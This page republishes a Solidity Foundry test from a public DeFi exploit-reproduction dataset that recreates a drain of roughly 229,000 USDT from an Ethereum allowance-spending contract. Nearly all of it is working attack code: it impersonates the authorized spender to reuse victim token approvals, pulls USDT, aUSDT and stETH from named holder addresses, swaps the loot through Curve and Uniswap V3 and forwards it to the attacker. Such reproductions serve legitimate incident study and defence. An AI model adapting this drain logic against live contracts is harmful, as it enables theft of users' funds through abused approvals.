Skip to content
THREATWIRE

Public reproduction file

src/test/2026-04/unverified_a152_exp.sol

Public reproduction file for dataset entry Unverified_a152.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-04/unverified_a152_exp.sol183 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import {IERC20, ICurvePool, ILendingPool, IWETH, Uni_Pair_V3, USDT as IUSDTNoReturn} from "../interface.sol";
6
7// @KeyInfo - Total Lost : 229,030.97 USDT
8// Attacker : 0x224c940003dd0b8aa1a20e655ced0363d573fa46
9// Attack Contract : 0x99464c162b5816384e76f14912a87af9834c65db
10// Vulnerable Contract : 0xa152751251a72f7d9e8a8998e9eadbefbf10e4f3
11// Attack Tx : https://etherscan.io/tx/0x57709a498f27c7219b634ae20e7d2cbf9ab8dd6aca7b3845fabf93b57760b576
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xa152751251a72f7d9e8a8998e9eadbefbf10e4f3#code
16// @Analysis
17// twitter guy : https://t.me/defimon_alerts/2987
18//
19// The attacker routed through an already-authorized spending contract and its helper to reuse victim
20// AllowanceTarget approvals. The PoC keeps the vulnerable drain path exact, then uses a balance-derived
21// liquidation path to consolidate the drained assets into USDT for the transaction sender.
23address constant ATTACKER = 0x224C940003dd0b8aA1A20e655ced0363D573fa46;
24address constant AUTHORIZED_SPENDER = 0xa152751251a72F7D9E8A8998e9EadBefBF10E4f3;
25address constant SPENDER_HELPER = 0xfc40f02A22A78eaB1021A5aDaF5b3dd608da5837;
26address constant AAVE_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
27address constant ALLOWANCE_TARGET = 0x2990A16D2C37163f26F86d7af219064Ba5CD5605;
28address constant CURVE_STETH_POOL = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022;
29address constant UNISWAP_V3_WETH_USDT = 0x11b815efB8f581194ae79006d24E0d814B7697F6;
31address constant AUSDT = 0x3Ed3B47Dd13EC9a98b44e6204A523E766B225811;
32address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
33address constant STETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
34address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
36address constant AUSDT_USDT_OWNER = 0x0636D27Cc6AcE1462D175Ee72E617A3707ED7ACE;
37address constant USDT_OWNER_TWO = 0x1bD7e605A63Df5698fC96B2f9F41Aee1671bcf7a;
38address constant USDT_OWNER_THREE = 0xa0b44f5Bd1Ed468C15540d1105BAa34fE7FD0F3e;
39address constant USDT_OWNER_FOUR = 0xb4e048665128E1690fC408e8CC180E487C940dDe;
40address constant USDT_OWNER_FIVE = 0x1aBf360654DfAe0178D20c98836c233c4a32bd02;
41address constant USDT_OWNER_SIX = 0xabEBe21a31eBdD6A0b94eF896049868f53239A79;
42address constant STETH_OWNER = 0x2b75DF91cC500e04D6Bac3190368637E5C33d4A0;
44interface ISpenderHelper {
45 function spendFromUser(address owner, address token, uint256 amount) external;
48contract ContractTest is BaseTestWithBalanceLog {
49 function setUp() public {
50 uint256 forkBlock = 24_973_581;
51 vm.createSelectFork("mainnet", forkBlock);
53 fundingToken = USDT;
54 attacker = ATTACKER;
56 vm.label(ATTACKER, "Attacker");
57 vm.label(AUTHORIZED_SPENDER, "Authorized Spending Contract");
58 vm.label(SPENDER_HELPER, "Spender Helper");
59 vm.label(ALLOWANCE_TARGET, "Allowance Target");
60 vm.label(AAVE_POOL, "Aave V2 LendingPool");
61 vm.label(CURVE_STETH_POOL, "Curve stETH Pool");
62 vm.label(UNISWAP_V3_WETH_USDT, "Uniswap V3 WETH/USDT Pool");
63 vm.label(USDT, "USDT");
64 vm.label(AUSDT, "aUSDT");
65 vm.label(STETH, "stETH");
66 vm.label(WETH, "WETH");
67 }
69 function testExploit() public balanceLog {
70 uint256 attackerUsdtBefore = IERC20(USDT).balanceOf(ATTACKER);
72 AttackCoordinator coordinator = new AttackCoordinator();
73 vm.label(address(coordinator), "Local Attack Coordinator");
74 uint256 expectedStableExposure = stableTokenExposure();
76 // step 1: execute the vulnerable allowance-spending path as the historical authorized spender.
77 drainTo(address(coordinator), AUSDT_USDT_OWNER, AUSDT, true);
78 drainUsdt(address(coordinator), AUSDT_USDT_OWNER);
79 drainUsdt(address(coordinator), USDT_OWNER_TWO);
80 drainUsdt(address(coordinator), USDT_OWNER_THREE);
81 drainUsdt(address(coordinator), USDT_OWNER_FOUR);
82 drainUsdt(address(coordinator), USDT_OWNER_FIVE);
83 drainUsdt(address(coordinator), USDT_OWNER_SIX);
84 drainTo(address(coordinator), STETH_OWNER, STETH, false);
86 coordinator.liquidateAndForward();
88 uint256 attackerUsdtAfter = IERC20(USDT).balanceOf(ATTACKER);
89 assertGt(attackerUsdtAfter - attackerUsdtBefore, expectedStableExposure);
90 }
92 function stableTokenExposure() private view returns (uint256) {
93 return drainable(AUSDT_USDT_OWNER, AUSDT) + drainable(AUSDT_USDT_OWNER, USDT) + drainable(USDT_OWNER_TWO, USDT)
94 + drainable(USDT_OWNER_THREE, USDT) + drainable(USDT_OWNER_FOUR, USDT) + drainable(USDT_OWNER_FIVE, USDT)
95 + drainable(USDT_OWNER_SIX, USDT);
96 }
98 function drainUsdt(address receiver, address owner) private {
99 drainTo(receiver, owner, USDT, false);
100 }
102 function drainTo(address receiver, address owner, address token, bool redeemAave) private {
103 uint256 amount = drainable(owner, token);
105 vm.prank(AUTHORIZED_SPENDER);
106 ISpenderHelper(SPENDER_HELPER).spendFromUser(owner, token, amount);
108 if (redeemAave) {
109 uint256 aTokenBalance = IERC20(token).balanceOf(AUTHORIZED_SPENDER);
110 vm.prank(AUTHORIZED_SPENDER);
111 ILendingPool(AAVE_POOL).withdraw(USDT, aTokenBalance, receiver);
112 } else {
113 uint256 amountOut = IERC20(token).balanceOf(AUTHORIZED_SPENDER);
114 transferFromAuthorizedSpender(token, receiver, amountOut);
115 }
116 }
118 function drainable(address owner, address token) private view returns (uint256 amount) {
119 uint256 ownerBalance = IERC20(token).balanceOf(owner);
120 uint256 allowance = IERC20(token).allowance(owner, ALLOWANCE_TARGET);
121 amount = ownerBalance < allowance ? ownerBalance : allowance;
122 }
124 function transferFromAuthorizedSpender(address token, address receiver, uint256 amount) private {
125 vm.prank(AUTHORIZED_SPENDER);
126 if (token == USDT) {
127 IUSDTNoReturn(USDT).transfer(receiver, amount);
128 } else {
129 IERC20(token).transfer(receiver, amount);
130 }
131 }
134contract AttackCoordinator {
135 // Uniswap v3 TickMath lower sqrt price bound; zeroForOne swaps require a limit strictly above it.
136 uint160 private constant UNISWAP_MIN_SQRT_RATIO = 4_295_128_739;
137 uint160 private constant MIN_SQRT_RATIO_PLUS_ONE = UNISWAP_MIN_SQRT_RATIO + 1;
138 int128 private constant CURVE_ETH_INDEX = 0;
139 int128 private constant CURVE_STETH_INDEX = 1;
140 // One-unit floor for Curve min output and stETH dust retention.
141 uint256 private constant MIN_SWAP_OUTPUT = 1;
143 receive() external payable {}
145 function liquidateAndForward() external {
146 // step 2: convert the drained stETH to ETH on Curve.
147 uint256 stEthToSwap = IERC20(STETH).balanceOf(address(this)) - MIN_SWAP_OUTPUT;
148 IERC20(STETH).approve(CURVE_STETH_POOL, stEthToSwap);
149 ICurvePool(CURVE_STETH_POOL).exchange(CURVE_STETH_INDEX, CURVE_ETH_INDEX, stEthToSwap, MIN_SWAP_OUTPUT);
151 // step 3: wrap all ETH received from Curve and convert the full WETH balance to USDT.
152 IWETH(payable(WETH)).deposit{value: address(this).balance}();
153 swapV3ExactInput(UNISWAP_V3_WETH_USDT, WETH, IERC20(WETH).balanceOf(address(this)));
155 // step 4: forward consolidated USDT to the same final receiver as the transaction.
156 IUSDTNoReturn(USDT).transfer(ATTACKER, IERC20(USDT).balanceOf(address(this)));
157 }
159 function swapV3ExactInput(address pool, address tokenIn, uint256 amountIn) private {
160 Uni_Pair_V3(pool).swap(address(this), true, int256(amountIn), MIN_SQRT_RATIO_PLUS_ONE, abi.encode(tokenIn));
161 }
163 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {
164 payV3Pool(amount0Delta, amount1Delta);
165 }
167 function payV3Pool(int256 amount0Delta, int256 amount1Delta) private {
168 if (amount0Delta > 0) {
169 transferToken(Uni_Pair_V3(msg.sender).token0(), msg.sender, uint256(amount0Delta));
170 }
171 if (amount1Delta > 0) {
172 transferToken(Uni_Pair_V3(msg.sender).token1(), msg.sender, uint256(amount1Delta));
173 }
174 }
176 function transferToken(address token, address receiver, uint256 amount) private {
177 if (token == USDT) {
178 IUSDTNoReturn(USDT).transfer(receiver, amount);
179 } else {
180 IERC20(token).transfer(receiver, amount);
181 }
182 }

Analysis

Dataset entry

Public Foundry test for “Unverified_a152” (2026-04-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x224c940003dd0b8aa1a20e655ced0363d573fa46

  • Attack Contract

    0x99464c162b5816384e76f14912a87af9834c65db

  • Vulnerable Contract

    0xa152751251a72f7d9e8a8998e9eadbefbf10e4f3

  • Attack Tx

    0x57709a498f27c7219b634ae20e7d2cbf9ab8dd6aca7b3845fabf93b57760b576

File record

Name
Unverified_a152
Path
src/test/2026-04/unverified_a152_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
afb6552eeda7a3befcd6a5f182b5f1dd5cb28d56
Language
Solidity
Size
184 lines
Date
2026-04-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-04/unverified_a152_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob afb6552eeda7a3befcd6a5f182b5f1dd5cb28d56, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.